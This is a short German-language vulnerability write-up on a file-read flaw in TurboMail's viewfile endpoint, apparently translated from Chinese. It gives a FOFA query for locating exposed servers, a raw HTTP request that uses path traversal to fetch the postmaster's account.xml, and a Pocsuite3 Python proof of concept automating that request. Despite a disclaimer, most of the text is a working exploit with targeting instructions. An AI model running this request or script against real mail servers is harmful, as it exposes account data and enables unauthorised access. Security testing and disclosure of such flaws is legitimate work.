Haftungsausschluss
Die im Artikel enthaltenen Schwachstellen wurden behoben und vertrauliche Informationen wurden codiert. Der Artikel dient nur dem Erfahrungsaustausch . Nehmen Sie ihn nicht ernst. Unbefugte Angriffe sind illegal! Vertrauliche Informationen im Artikel wurden auf mehreren Ebenen verarbeitet. Der Nutzer trägt die Verantwortung für alle direkten oder indirekten Folgen und Verluste, die durch die Verbreitung und Nutzung der in diesem Artikel bereitgestellten Informationen entstehen. Der Autor übernimmt hierfür keine Verantwortung. Bitte tragen Sie die Verantwortung für etwaige Folgen.
Beschreibung der Sicherheitslücke
TurboMail Viewfile weist eine Sicherheitslücke beim Lesen von Dateien auf
Fofa-Erklärung
body="maintlogin.jsp" && body="/mailmain?type=logout"
POC plus Erkennung
GET /viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: sl-session=ETpsDQSNgmXLKn8mYVXTVQ==
POC-Skript
Pocsuite-Framework für Skripte
# _*_ coding:utf-8 _*_
# @Time : 2023/12/19
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class TurboMail_view_fileread(POCBase):
pocDesc = '''TurboMail viewfile 文件读取漏洞'''
author = '炼金术师诸葛亮'
createDate = '2023-12-19'
name = 'TurboMail viewfile 文件读取漏洞'
def _verify(self):
result = {}
url = self.url+ '/viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml'
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15",
'Accept-Language': 'en-US;q=0.9,en;q=0.8'
}
try:
response = requests.get(url, headers=headers)
if response.status_code == 200 and 'username' in response.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(TurboMail_view_fileread)
Skript-Exploit